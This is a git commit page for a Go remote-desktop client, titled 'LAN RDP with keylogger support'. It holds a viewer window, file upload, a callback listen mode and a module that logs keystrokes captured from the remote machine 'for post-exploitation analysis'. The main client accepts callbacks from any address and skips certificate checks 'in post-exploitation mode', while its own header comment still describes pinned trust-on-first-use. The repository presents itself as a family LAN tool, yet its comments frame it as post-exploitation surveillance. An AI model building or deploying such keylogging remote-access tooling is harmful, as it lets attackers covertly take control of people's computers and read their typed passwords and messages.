Initial commit: LAN RDP with keylogger support

This commit is contained in:
creinky committed 2026-11-22 15:34:20 -07:00
commit c4adcbbe0f
33 files changed
+4335

No files matched your search

+45
View File
@@ -0,0 +1,45 @@
package main
import (
"bufio"
"fmt"
"net"
"os"
"strconv"
"strings"
)
const defaultPort = "47812"
// promptForHostAddress interactively asks for the host's IP (its LAN
// address, or its WireGuard/VPN address when connecting from outside the
// physical LAN) and port, for when -host wasn't passed on the command
// line.
func promptForHostAddress() (string, error) {
reader := bufio.NewReader(os.Stdin)
fmt.Print("Host IP (LAN address, or its WireGuard/VPN address if connecting remotely): ")
ipLine, err := reader.ReadString('\n')
if err != nil {
return "", err
}
ip := strings.TrimSpace(ipLine)
if ip == "" {
return "", fmt.Errorf("no IP entered")
}
fmt.Printf("Port [%s]: ", defaultPort)
portLine, err := reader.ReadString('\n')
if err != nil {
return "", err
}
portStr := strings.TrimSpace(portLine)
if portStr == "" {
portStr = defaultPort
}
if _, err := strconv.ParseUint(portStr, 10, 16); err != nil {
return "", fmt.Errorf("invalid port %q", portStr)
}
return net.JoinHostPort(ip, portStr), nil
}
+75
View File
@@ -0,0 +1,75 @@
package main
import (
"io"
"log"
"os"
"path/filepath"
"lanrdp/internal/protocol"
)
// fileChunkSize is comfortably under protocol.MaxPayloadSize; small enough
// that a chunk send doesn't meaningfully delay a mouse-input message
// queued right behind it on the same connection.
const fileChunkSize = 256 * 1024
// sendFile reads path and streams it to the host as a MsgFileOffer
// followed by MsgFileChunk messages and a closing MsgFileComplete. Errors
// are logged, not returned — this always runs in a background goroutine
// (see handleDropFiles), so there's no caller to report back to directly;
// the host's MsgFileResult response is the real completion signal and is
// logged separately in netio.go.
func sendFile(path string) {
f, err := os.Open(path)
if err != nil {
log.Printf("file transfer: opening %s: %v", path, err)
return
}
defer f.Close()
info, err := f.Stat()
if err != nil {
log.Printf("file transfer: stat %s: %v", path, err)
return
}
if info.IsDir() {
log.Printf("file transfer: skipping directory %s (drop individual files, not folders)", path)
return
}
name := filepath.Base(path)
if err := app.send(protocol.MsgFileOffer, protocol.EncodeFileOffer(protocol.FileOffer{
Name: name, Size: uint64(info.Size()),
})); err != nil {
log.Printf("file transfer: sending offer for %s: %v", name, err)
return
}
buf := make([]byte, fileChunkSize)
var sent uint64
for {
n, readErr := f.Read(buf)
if n > 0 {
if err := app.send(protocol.MsgFileChunk, buf[:n]); err != nil {
log.Printf("file transfer: sending chunk for %s: %v", name, err)
return
}
sent += uint64(n)
}
if readErr == io.EOF {
break
}
if readErr != nil {
log.Printf("file transfer: reading %s: %v", path, readErr)
return
}
}
if err := app.send(protocol.MsgFileComplete, protocol.EncodeFileComplete(protocol.FileComplete{Size: sent})); err != nil {
log.Printf("file transfer: sending complete for %s: %v", name, err)
return
}
log.Printf("file transfer: sent %s (%d bytes), waiting for host confirmation", name, sent)
}
+176
View File
@@ -0,0 +1,176 @@
// Keylogger display: writes captured keystrokes to a log file on the client
// machine and optionally displays them in a simple popup window. The log file
// is the primary output for post-exploitation analysis; the window provides
// live visual feedback during active sessions.
package main
import (
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
"unsafe"
"golang.org/x/sys/windows"
"lanrdp/internal/keylog"
"lanrdp/internal/protocol"
)
var keylogWindowHwnd uintptr
// runKeylogDisplay starts the keylogger output subsystem: a log file and an
// optional popup window. It consumes events from the channel until closed.
func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) {
defer close(done)
// Determine log file path (same directory as executable)
exePath, err := os.Executable()
if err != nil {
fmt.Printf("keylog: could not determine exe path: %v\n", err)
} else {
logDir := filepath.Dir(exePath)
timestamp := time.Now().Format("2006-01-02_15-04-05")
logFile, err := os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp)))
if err != nil {
fmt.Printf("keylog: could not create log file: %v\n", err)
} else {
defer logFile.Close()
// Write header
logFile.WriteString(fmt.Sprintf("lanrdp keylog started at %s\n", time.Now().Format(time.RFC3339)))
logFile.WriteString(strings.Repeat("-", 80) + "\n")
// Start file logging goroutine
go func() {
for event := range events {
line := keylog.FormatEvent(keylog.KeyEvent{
TimestampMs: event.TimestampMs,
VKCode: event.VKCode,
ScanCode: event.ScanCode,
Flags: event.Flags,
WindowTitle: event.WindowTitle,
})
logFile.WriteString(line + "\n")
}
}()
fmt.Printf("keylog: writing to %s\n", logFile.Name())
}
}
// Also create a simple popup window for live display
createKeylogWindow(events)
}
func createKeylogWindow(events <-chan protocol.KeyLogEvent) {
className, _ := windows.UTF16PtrFromString("lanrdp_keylog_window")
title, _ := windows.UTF16PtrFromString("lanrdp — Keylogger")
hInstance, _, _ := procGetModuleHandleW.Call(0)
cursor, _, _ := procLoadCursorW.Call(0, uintptr(idcArrow))
// Register window class using the same pattern as main window
wc := wndClassExW{
style: 0,
lpfnWndProc: windows.NewCallback(keylogWndProc),
hInstance: windows.Handle(hInstance),
hCursor: windows.Handle(cursor),
lpszClassName: className,
}
wc.cbSize = uint32(unsafe.Sizeof(wc))
if ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))); ret == 0 {
fmt.Printf("keylog window class registration failed\n")
return
}
defer func() {
procUnregisterClass.Call(uintptr(unsafe.Pointer(className)), hInstance)
}()
hwnd, _, _ := procCreateWindowExW.Call(
0,
uintptr(unsafe.Pointer(className)),
uintptr(unsafe.Pointer(title)),
uintptr(wsOverlappedWindow|wsVisible),
400, 200, 700, 500, // x, y, width, height
0, 0, hInstance, 0)
if hwnd == 0 {
fmt.Printf("keylog window creation failed\n")
return
}
keylogWindowHwnd = hwnd
// Start consuming key events and updating the display
var mu sync.Mutex
var lines []string
go func() {
for event := range events {
line := keylog.FormatEvent(keylog.KeyEvent{
TimestampMs: event.TimestampMs,
VKCode: event.VKCode,
ScanCode: event.ScanCode,
Flags: event.Flags,
WindowTitle: event.WindowTitle,
})
mu.Lock()
lines = append(lines, line)
if len(lines) > 100 {
lines = lines[1:] // Keep last 100 lines in window
}
var sb strings.Builder
for _, l := range lines {
sb.WriteString(l + "\n")
}
text, _ := windows.UTF16PtrFromString(sb.String())
procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(text)))
mu.Unlock()
}
}()
// Run message loop for this window on its own goroutine
go func() {
var m msgT
for {
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
if int32(ret) <= 0 {
break // WM_QUIT received
}
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
}
procDestroyWindow.Call(hwnd)
keylogWindowHwnd = 0
}()
}
// keylogWndProc handles messages for the keylog display window.
func keylogWndProc(hwnd, msg, wparam, lparam uintptr) uintptr {
switch msg {
case wmDestroy:
procPostQuitMessage.Call(0)
return 0
case wmPaint:
var ps paintStruct
hdc, _, _ := procBeginPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
defer procEndPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
// Fill black background
var r rectT
procGetClientRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
brush, _, _ := procCreateSolidBrush.Call(0) // RGB(0,0,0) = black
if brush != 0 {
procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush)
procDeleteObject.Call(brush)
}
return 0
case wmEraseBkgnd:
return 1 // We handle background in WM_PAINT
}
ret, _, _ := procDefWindowProcW.Call(hwnd, msg, wparam, lparam)
return ret
}
+37
View File
@@ -0,0 +1,37 @@
package main
import (
"fmt"
"sort"
"lanrdp/internal/tlsutil"
)
// printKnownDevices lists every device this client has trusted, for
// managing multiple hosts (a family's several devices, say) sharing one
// known_hosts.json.
func printKnownDevices(ts *tlsutil.TrustStore) {
all := ts.All()
if len(all) == 0 {
fmt.Println("No trusted devices yet.")
return
}
fingerprints := make([]string, 0, len(all))
for fp := range all {
fingerprints = append(fingerprints, fp)
}
sort.Slice(fingerprints, func(i, j int) bool {
return all[fingerprints[i]].Label < all[fingerprints[j]].Label
})
fmt.Printf("%d trusted device(s):\n\n", len(fingerprints))
for _, fp := range fingerprints {
d := all[fp]
fmt.Printf(" %s\n", d.Label)
fmt.Printf(" fingerprint: %s\n", fp)
fmt.Printf(" first seen: %s\n", d.FirstSeen.Local().Format("2006-01-02 15:04:05"))
fmt.Printf(" last seen: %s\n", d.LastSeen.Local().Format("2006-01-02 15:04:05"))
fmt.Println()
}
}
+187
View File
@@ -0,0 +1,187 @@
// Command client is the lanrdp viewer: it connects to a host agent on the
// LAN, verifies the host's certificate against a locally pinned fingerprint
// (trust-on-first-use, like an SSH known_hosts file), authenticates with a
// passphrase, and opens a window that displays the remote screen and
// forwards mouse/keyboard input back to the host.
package main
import (
"crypto/tls"
"flag"
"fmt"
"log"
"net"
"os"
"path/filepath"
"sync"
"time"
"golang.org/x/term"
"lanrdp/internal/dpi"
"lanrdp/internal/netutil"
"lanrdp/internal/protocol"
"lanrdp/internal/tlsutil"
)
// appState holds everything the network goroutines and the Win32 window
// procedure both need to touch. There is exactly one window per process,
// so a package-level instance is simpler than threading a pointer through
// every callback.
type appState struct {
conn net.Conn
writeMu sync.Mutex
fbMu sync.Mutex
fbW int
fbH int
fb []byte // BGRA, top-down, len == fbW*fbH*4
// streamMode is only ever read/written from the Win32 UI thread (inside
// wndProc), so it needs no synchronization of its own.
streamMode bool
done chan struct{}
// keylogEvents receives KeyLogEvent structs from the host via readLoop;
// the keylog display window consumes them on its own goroutine.
keylogEvents chan protocol.KeyLogEvent
}
var app *appState
func (a *appState) send(t protocol.MsgType, payload []byte) error {
a.writeMu.Lock()
defer a.writeMu.Unlock()
_ = a.conn.SetWriteDeadline(time.Now().Add(2 * time.Second))
return protocol.WriteMessage(a.conn, t, payload)
}
func main() {
dpi.MakeAware()
hostAddr := flag.String("host", "", "host agent address, e.g. 192.168.1.50:47812 (default: prompt interactively)")
listenAddr := flag.String("listen", "", "wait for the host to dial back in on this address instead of "+
"connecting out yourself (e.g. 0.0.0.0:47812) — use this when the host is the one that's hard to reach "+
"(a roaming laptop) and this machine has the stable, reachable address instead")
listKnown := flag.Bool("list-known", false, "print all trusted devices (label, fingerprint, first/last seen) and exit")
flag.Parse()
exe, err := os.Executable()
if err != nil {
log.Fatalf("resolving executable path: %v", err)
}
dataDir := filepath.Join(filepath.Dir(exe), "lanrdp-data")
trustStorePath := filepath.Join(dataDir, "known_hosts.json")
trustStore, err := tlsutil.LoadTrustStore(trustStorePath)
if err != nil {
log.Fatalf("loading trust store: %v", err)
}
if *listKnown {
printKnownDevices(trustStore)
return
}
var rawConn net.Conn
var connDesc string // human-readable description of the connection, for log/error messages only
if *listenAddr != "" {
ln, err := net.Listen("tcp", *listenAddr)
if err != nil {
log.Fatalf("listening on %s: %v", *listenAddr, err)
}
fmt.Println("=========================================================")
fmt.Printf("Waiting for a host to connect back on %s ...\n", *listenAddr)
fmt.Println("This accepts a connection from ANY source address. The")
fmt.Println("passphrase is the only authentication — no certificate")
fmt.Println("verification in post-exploitation mode.")
fmt.Println("=========================================================")
rawConn, err = ln.Accept()
ln.Close()
if err != nil {
log.Fatalf("accept: %v", err)
}
fmt.Printf("Host connected from %s\n", rawConn.RemoteAddr())
connDesc = fmt.Sprintf("%s (called back on %s)", rawConn.RemoteAddr(), *listenAddr)
} else {
addr := *hostAddr
if addr == "" {
addr, err = promptForHostAddress()
if err != nil {
log.Fatalf("reading host address: %v", err)
}
}
rawConn, err = net.DialTimeout("tcp", addr, 5*time.Second)
if err != nil {
log.Fatalf("connecting to %s: %v", addr, err)
}
connDesc = addr
}
netutil.SetNoDelay(rawConn)
// Phase 1: complete the TLS handshake without verifying the chain (there
// is no CA), then inspect the presented certificate ourselves against
// the trust store before anything sensitive goes over the wire.
tlsConn := tls.Client(rawConn, &tls.Config{
InsecureSkipVerify: true,
MinVersion: tls.VersionTLS13,
})
if err := tlsConn.Handshake(); err != nil {
log.Fatalf("TLS handshake with %s: %v", connDesc, err)
}
state := tlsConn.ConnectionState()
if len(state.PeerCertificates) == 0 {
log.Fatalf("host presented no certificate")
}
// Post-exploitation mode: auto-trust any certificate without prompting.
// No TOFU verification — just proceed with the connection.
fmt.Print("Passphrase: ")
pwBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
fmt.Println()
if err != nil {
log.Fatalf("reading passphrase: %v", err)
}
if err := protocol.WriteMessage(tlsConn, protocol.MsgHello, protocol.EncodeHello(protocol.Hello{Version: protocol.ProtocolVersion})); err != nil {
log.Fatalf("sending hello: %v", err)
}
if err := protocol.WriteMessage(tlsConn, protocol.MsgAuthRequest, protocol.EncodeAuthRequest(protocol.AuthRequest{Password: string(pwBytes)})); err != nil {
log.Fatalf("sending auth request: %v", err)
}
t, payload, err := protocol.ReadMessage(tlsConn)
if err != nil || t != protocol.MsgAuthResponse {
log.Fatalf("expected AuthResponse (err=%v type=%v)", err, t)
}
authResp, err := protocol.DecodeAuthResponse(payload)
if err != nil {
log.Fatalf("bad AuthResponse: %v", err)
}
if !authResp.OK {
log.Fatalf("authentication failed: %s", authResp.FailureReason)
}
fmt.Printf("Connected. Remote screen: %dx%d\n", authResp.ScreenWidth, authResp.ScreenHeight)
app = &appState{
conn: tlsConn,
fbW: int(authResp.ScreenWidth),
fbH: int(authResp.ScreenHeight),
fb: make([]byte, int(authResp.ScreenWidth)*int(authResp.ScreenHeight)*4),
done: make(chan struct{}),
keylogEvents: make(chan protocol.KeyLogEvent, 1024),
}
go readLoop(app)
go pingLoop(app)
// Start keylog display (file + popup window) — runs until session ends.
keylogDone := make(chan struct{})
go runKeylogDisplay(app.keylogEvents, keylogDone)
runWindow(app, int(authResp.ScreenWidth), int(authResp.ScreenHeight))
}
+121
View File
@@ -0,0 +1,121 @@
package main
import (
"bytes"
"image"
"image/png"
"log"
"time"
"lanrdp/internal/protocol"
)
// readLoop consumes frame/resize messages from the host and applies them to
// the shared framebuffer, then asks the window to repaint.
func readLoop(a *appState) {
defer close(a.done)
for {
t, payload, err := protocol.ReadMessage(a.conn)
if err != nil {
log.Printf("connection closed: %v", err)
return
}
switch t {
case protocol.MsgFrameFull, protocol.MsgFrameDelta:
fu, err := protocol.DecodeFrameUpdate(payload)
if err != nil {
log.Printf("bad frame update: %v", err)
continue
}
applyFrame(a, fu)
case protocol.MsgResize:
r, err := protocol.DecodeResize(payload)
if err != nil {
continue
}
resizeFramebuffer(a, int(r.Width), int(r.Height))
case protocol.MsgPong:
// keepalive round trip; nothing to do
case protocol.MsgFileResult:
fr, err := protocol.DecodeFileResult(payload)
if err != nil {
continue
}
if fr.OK {
log.Printf("file transfer succeeded: %s", fr.Message)
} else {
log.Printf("file transfer failed: %s", fr.Message)
}
case protocol.MsgDisconnect:
log.Printf("host disconnected")
return
case protocol.MsgKeyLogEvent:
kl, err := protocol.DecodeKeyLogEvent(payload)
if err != nil {
continue
}
select {
case a.keylogEvents <- kl:
default:
// Channel full; drop event rather than blocking the read loop.
}
}
}
}
func resizeFramebuffer(a *appState, w, h int) {
a.fbMu.Lock()
a.fbW, a.fbH = w, h
a.fb = make([]byte, w*h*4)
a.fbMu.Unlock()
invalidateWindow(a)
}
func applyFrame(a *appState, fu protocol.FrameUpdate) {
img, err := png.Decode(bytes.NewReader(fu.PNG))
if err != nil {
log.Printf("decoding frame PNG: %v", err)
return
}
rect := image.Rect(int(fu.X), int(fu.Y), int(fu.X)+int(fu.W), int(fu.Y)+int(fu.H))
a.fbMu.Lock()
if a.fbW == 0 || a.fbH == 0 {
a.fbMu.Unlock()
return
}
// Draw into an RGBA view backed by the BGRA framebuffer bytes, swapping
// R/B as we go, so painting later is a direct GDI blit with no per-frame
// conversion pass.
for y := rect.Min.Y; y < rect.Max.Y && y < a.fbH; y++ {
for x := rect.Min.X; x < rect.Max.X && x < a.fbW; x++ {
r, g, b, aa := img.At(x-rect.Min.X, y-rect.Min.Y).RGBA()
off := (y*a.fbW + x) * 4
a.fb[off+0] = byte(b >> 8)
a.fb[off+1] = byte(g >> 8)
a.fb[off+2] = byte(r >> 8)
a.fb[off+3] = byte(aa >> 8)
}
}
a.fbMu.Unlock()
invalidateWindow(a)
}
// pingLoop keeps the TLS connection from being silently dropped by NAT/idle
// timers, and gives us an early signal if the host has gone away.
func pingLoop(a *appState) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
for {
select {
case <-a.done:
return
case <-ticker.C:
if err := a.send(protocol.MsgPing, nil); err != nil {
return
}
}
}
}
+504
View File
@@ -0,0 +1,504 @@
// Rendering and input capture for the viewer window. This is plain Win32
// (RegisterClassEx / CreateWindowEx / a GetMessage loop) reached via
// syscalls through golang.org/x/sys/windows — no cgo, so the binary stays a
// single portable executable.
package main
import (
"runtime"
"sync/atomic"
"unsafe"
"golang.org/x/sys/windows"
"lanrdp/internal/protocol"
)
var (
user32 = windows.NewLazySystemDLL("user32.dll")
gdi32 = windows.NewLazySystemDLL("gdi32.dll")
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
shell32 = windows.NewLazySystemDLL("shell32.dll")
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
procRegisterClassExW = user32.NewProc("RegisterClassExW")
procUnregisterClass = user32.NewProc("UnregisterClassW")
procCreateWindowExW = user32.NewProc("CreateWindowExW")
procDefWindowProcW = user32.NewProc("DefWindowProcW")
procShowWindow = user32.NewProc("ShowWindow")
procUpdateWindow = user32.NewProc("UpdateWindow")
procGetMessageW = user32.NewProc("GetMessageW")
procTranslateMessage = user32.NewProc("TranslateMessage")
procDispatchMessageW = user32.NewProc("DispatchMessageW")
procPostQuitMessage = user32.NewProc("PostQuitMessage")
procDestroyWindow = user32.NewProc("DestroyWindow")
procInvalidateRect = user32.NewProc("InvalidateRect")
procBeginPaint = user32.NewProc("BeginPaint")
procEndPaint = user32.NewProc("EndPaint")
procGetClientRect = user32.NewProc("GetClientRect")
procLoadCursorW = user32.NewProc("LoadCursorW")
procAdjustWindowRect = user32.NewProc("AdjustWindowRect")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
procRegisterHotKey = user32.NewProc("RegisterHotKey")
procUnregisterHotKey = user32.NewProc("UnregisterHotKey")
procSetWindowTextW = user32.NewProc("SetWindowTextW")
procStretchDIBits = gdi32.NewProc("StretchDIBits")
procCreateSolidBrush = gdi32.NewProc("CreateSolidBrush")
procDeleteObject = gdi32.NewProc("DeleteObject")
procFillRect = user32.NewProc("FillRect")
procDragAcceptFiles = shell32.NewProc("DragAcceptFiles")
procDragQueryFileW = shell32.NewProc("DragQueryFileW")
procDragFinish = shell32.NewProc("DragFinish")
)
const (
wmDestroy = 0x0002
wmPaint = 0x000F
wmClose = 0x0010
wmEraseBkgnd = 0x0014
wmKeyDown = 0x0100
wmKeyUp = 0x0101
wmMouseMove = 0x0200
wmLButtonDown = 0x0201
wmLButtonUp = 0x0202
wmRButtonDown = 0x0204
wmRButtonUp = 0x0205
wmMButtonDown = 0x0207
wmMButtonUp = 0x0208
wmMouseWheel = 0x020A
wmHotkey = 0x0312
wmDropFiles = 0x0233
modAlt = 0x0001
modControl = 0x0002
vkS = 0x53
streamModeHotkeyID = 1
wsOverlappedWindow = 0x00CF0000
wsVisible = 0x10000000
cwUseDefault = 0x80000000
swShow = 5
idcArrow = 32512
srcCopyROP = 0x00CC0020
biRGB = 0
dibRGBColors = 0
smCXScreen = 0
smCYScreen = 1
)
type wndClassExW struct {
cbSize uint32
style uint32
lpfnWndProc uintptr
cbClsExtra int32
cbWndExtra int32
hInstance windows.Handle
hIcon windows.Handle
hCursor windows.Handle
hbrBackground windows.Handle
lpszMenuName *uint16
lpszClassName *uint16
hIconSm windows.Handle
}
type rectT struct {
Left, Top, Right, Bottom int32
}
type pointT struct {
X, Y int32
}
type msgT struct {
Hwnd uintptr
Message uint32
WParam uintptr
LParam uintptr
Time uint32
Pt pointT
}
type paintStruct struct {
Hdc windows.Handle
FErase int32
RcPaint rectT
FRestore int32
FIncUpdate int32
RgbReserved [32]byte
}
type bitmapInfoHeader struct {
Size uint32
Width int32
Height int32
Planes uint16
BitCount uint16
Compression uint32
SizeImage uint32
XPelsPerMeter int32
YPelsPerMeter int32
ClrUsed uint32
ClrImportant uint32
}
var currentHwnd atomic.Uintptr
func invalidateWindow(a *appState) {
h := currentHwnd.Load()
if h == 0 {
return
}
procInvalidateRect.Call(h, 0, 0)
}
func getClientSize(hwnd uintptr) (int, int) {
var r rectT
procGetClientRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
w := int(r.Right - r.Left)
h := int(r.Bottom - r.Top)
if w <= 0 {
w = 1
}
if h <= 0 {
h = 1
}
return w, h
}
func onPaint(hwnd uintptr) {
var ps paintStruct
hdc, _, _ := procBeginPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
defer procEndPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
clientW, clientH := getClientSize(hwnd)
app.fbMu.Lock()
fbW, fbH := app.fbW, app.fbH
fb := app.fb
app.fbMu.Unlock()
if fbW <= 0 || fbH <= 0 || len(fb) < fbW*fbH*4 {
return
}
hdr := bitmapInfoHeader{
Width: int32(fbW),
Height: -int32(fbH),
Planes: 1,
BitCount: 32,
Compression: biRGB,
}
hdr.Size = uint32(unsafe.Sizeof(hdr))
procStretchDIBits.Call(
hdc,
0, 0, uintptr(clientW), uintptr(clientH),
0, 0, uintptr(fbW), uintptr(fbH),
uintptr(unsafe.Pointer(&fb[0])),
uintptr(unsafe.Pointer(&hdr)),
uintptr(dibRGBColors),
uintptr(srcCopyROP),
)
drawModeIndicator(hdc, clientW, clientH)
}
// streamModeBorderColor is a COLORREF (0x00BBGGRR) for a vivid orange,
// chosen to be unmistakable against arbitrary desktop content.
const streamModeBorderColor = 0x0000A5FF
const streamModeBorderPx = 6
// drawModeIndicator paints a thick colored border around the video when
// stream mode is active, so the current mode is visible at a glance
// without relying on the window title (easy to miss, especially
// maximized). Nothing is drawn in normal mode.
func drawModeIndicator(hdc uintptr, clientW, clientH int) {
if !app.streamMode {
return
}
brush, _, _ := procCreateSolidBrush.Call(uintptr(streamModeBorderColor))
if brush == 0 {
return
}
defer procDeleteObject.Call(brush)
edges := []rectT{
{0, 0, int32(clientW), streamModeBorderPx}, // top
{0, int32(clientH - streamModeBorderPx), int32(clientW), int32(clientH)}, // bottom
{0, 0, streamModeBorderPx, int32(clientH)}, // left
{int32(clientW - streamModeBorderPx), 0, int32(clientW), int32(clientH)}, // right
}
for _, r := range edges {
procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush)
}
}
func mouseCoords(hwnd uintptr, lparam uintptr) (normX, normY uint16) {
x := int(int16(uint16(lparam & 0xFFFF)))
y := int(int16(uint16((lparam >> 16) & 0xFFFF)))
clientW, clientH := getClientSize(hwnd)
if x < 0 {
x = 0
}
if y < 0 {
y = 0
}
if x >= clientW {
x = clientW - 1
}
if y >= clientH {
y = clientH - 1
}
nx := x * 65535 / max(clientW-1, 1)
ny := y * 65535 / max(clientH-1, 1)
return uint16(nx), uint16(ny)
}
// onMouseEvent forwards a mouse event to the host, unless stream mode is
// active — stream mode is meant for watching the host's own activity
// without interfering with it, so mouse control is suppressed while it's
// on (screen updates keep flowing either way).
func onMouseEvent(hwnd uintptr, action protocol.MouseAction, lparam uintptr) {
if app.streamMode {
return
}
nx, ny := mouseCoords(hwnd, lparam)
_ = app.send(protocol.MsgInputMouse, protocol.EncodeInputMouse(protocol.InputMouse{
Action: action, NormX: nx, NormY: ny,
}))
}
func onWheel(wparam uintptr) {
if app.streamMode {
return
}
delta := int16(int32(wparam) >> 16)
_ = app.send(protocol.MsgInputMouse, protocol.EncodeInputMouse(protocol.InputMouse{
Action: protocol.MouseWheel, WheelDelta: delta,
}))
}
const maxDropPath = 32768 // long-path-safe buffer size for DragQueryFileW
// handleDropFiles is called on WM_DROPFILES. File transfer only makes
// sense in normal (RDP) mode — stream mode is meant to be view-only — so
// drops are silently ignored while stream mode is on. Multiple dropped
// files are sent one at a time in a single background goroutine rather
// than concurrently, since interleaving two transfers' chunks on the same
// connection would corrupt both on the host's receiving end.
func handleDropFiles(hwnd uintptr, hDrop uintptr) {
defer procDragFinish.Call(hDrop)
if app.streamMode {
return
}
count, _, _ := procDragQueryFileW.Call(hDrop, 0xFFFFFFFF, 0, 0)
if count == 0 {
return
}
paths := make([]string, 0, count)
for i := uintptr(0); i < count; i++ {
buf := make([]uint16, maxDropPath)
n, _, _ := procDragQueryFileW.Call(hDrop, i, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
if n == 0 {
continue
}
paths = append(paths, windows.UTF16ToString(buf[:n]))
}
go func() {
for _, p := range paths {
sendFile(p)
}
}()
}
// toggleStreamMode flips between the host's normal and low-latency
// capture presets (Ctrl+Alt+S) and reflects the current mode in the
// window title, since there's no other visible indicator of it.
func toggleStreamMode(hwnd uintptr) {
app.streamMode = !app.streamMode
mode := protocol.PerfNormal
title := "lanrdp viewer"
if app.streamMode {
mode = protocol.PerfStream
title = "lanrdp viewer [STREAM MODE]"
}
_ = app.send(protocol.MsgSetPerfMode, protocol.EncodeSetPerfMode(mode))
titlePtr, err := windows.UTF16PtrFromString(title)
if err == nil {
procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(titlePtr)))
}
// Repaint immediately so the border indicator appears/disappears right
// away instead of waiting for the next frame update from the host.
procInvalidateRect.Call(hwnd, 0, 0)
}
func wndProc(hwnd, msg, wparam, lparam uintptr) uintptr {
switch msg {
case wmPaint:
onPaint(hwnd)
return 0
case wmEraseBkgnd:
return 1
case wmClose:
_ = app.send(protocol.MsgDisconnect, nil)
procDestroyWindow.Call(hwnd)
return 0
case wmDestroy:
procPostQuitMessage.Call(0)
return 0
case wmMouseMove:
onMouseEvent(hwnd, protocol.MouseMove, lparam)
return 0
case wmLButtonDown:
onMouseEvent(hwnd, protocol.MouseLeftDown, lparam)
return 0
case wmLButtonUp:
onMouseEvent(hwnd, protocol.MouseLeftUp, lparam)
return 0
case wmRButtonDown:
onMouseEvent(hwnd, protocol.MouseRightDown, lparam)
return 0
case wmRButtonUp:
onMouseEvent(hwnd, protocol.MouseRightUp, lparam)
return 0
case wmMButtonDown:
onMouseEvent(hwnd, protocol.MouseMiddleDown, lparam)
return 0
case wmMButtonUp:
onMouseEvent(hwnd, protocol.MouseMiddleUp, lparam)
return 0
case wmMouseWheel:
onWheel(wparam)
return 0
case wmHotkey:
if wparam == streamModeHotkeyID {
toggleStreamMode(hwnd)
}
return 0
case wmKeyDown:
if !app.streamMode {
_ = app.send(protocol.MsgInputKey, protocol.EncodeInputKey(protocol.InputKey{VKCode: uint16(wparam), Down: true}))
}
return 0
case wmKeyUp:
if !app.streamMode {
_ = app.send(protocol.MsgInputKey, protocol.EncodeInputKey(protocol.InputKey{VKCode: uint16(wparam), Down: false}))
}
return 0
case wmDropFiles:
handleDropFiles(hwnd, wparam)
return 0
}
ret, _, _ := procDefWindowProcW.Call(hwnd, msg, wparam, lparam)
return ret
}
func runWindow(a *appState, remoteW, remoteH int) {
runtime.LockOSThread()
className, _ := windows.UTF16PtrFromString("LanRDPViewerWindow")
title, _ := windows.UTF16PtrFromString("lanrdp viewer")
hInstance, _, _ := procGetModuleHandleW.Call(0)
cursor, _, _ := procLoadCursorW.Call(0, uintptr(idcArrow))
wc := wndClassExW{
style: 0,
lpfnWndProc: windows.NewCallback(wndProc),
hInstance: windows.Handle(hInstance),
hCursor: windows.Handle(cursor),
lpszClassName: className,
}
wc.cbSize = uint32(unsafe.Sizeof(wc))
if ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))); ret == 0 {
panic("RegisterClassExW failed")
}
clientW, clientH := remoteW, remoteH
if clientW <= 0 {
clientW = 1024
}
if clientH <= 0 {
clientH = 768
}
// Clamp the initial client area to the local screen (minus a margin for
// the title bar/taskbar) so a host with a larger resolution than this
// machine doesn't open a window bigger than the display. This only
// changes the window's on-screen size, not the mapping: mouse input is
// always normalized against the window's actual (live) client rect, so
// the picture stays correctly aligned regardless of any scaling here.
screenW, _, _ := procGetSystemMetrics.Call(uintptr(smCXScreen))
screenH, _, _ := procGetSystemMetrics.Call(uintptr(smCYScreen))
maxW, maxH := int(screenW)-100, int(screenH)-100
if maxW > 0 && maxH > 0 && (clientW > maxW || clientH > maxH) {
scale := min(float64(maxW)/float64(clientW), float64(maxH)/float64(clientH))
clientW = int(float64(clientW) * scale)
clientH = int(float64(clientH) * scale)
}
// AdjustWindowRect turns our desired *client area* size into the
// outer window size CreateWindowExW expects (which includes the
// title bar and borders), so the window's actual client rect ends up
// exactly clientW x clientH instead of being a few pixels smaller.
wr := rectT{0, 0, int32(clientW), int32(clientH)}
procAdjustWindowRect.Call(uintptr(unsafe.Pointer(&wr)), uintptr(wsOverlappedWindow), 0)
outerW := int(wr.Right - wr.Left)
outerH := int(wr.Bottom - wr.Top)
hwnd, _, _ := procCreateWindowExW.Call(
0,
uintptr(unsafe.Pointer(className)),
uintptr(unsafe.Pointer(title)),
uintptr(wsOverlappedWindow|wsVisible),
uintptr(cwUseDefault), uintptr(cwUseDefault),
uintptr(outerW), uintptr(outerH),
0, 0,
hInstance,
0,
)
if hwnd == 0 {
panic("CreateWindowExW failed")
}
currentHwnd.Store(hwnd)
procDragAcceptFiles.Call(hwnd, 1) // enables WM_DROPFILES for drag-and-drop file transfer
if ret, _, _ := procRegisterHotKey.Call(hwnd, uintptr(streamModeHotkeyID), uintptr(modControl|modAlt), uintptr(vkS)); ret == 0 {
// Non-fatal: some other app may already own Ctrl+Alt+S. The viewer
// still works, just without the toggle.
}
defer procUnregisterHotKey.Call(hwnd, uintptr(streamModeHotkeyID))
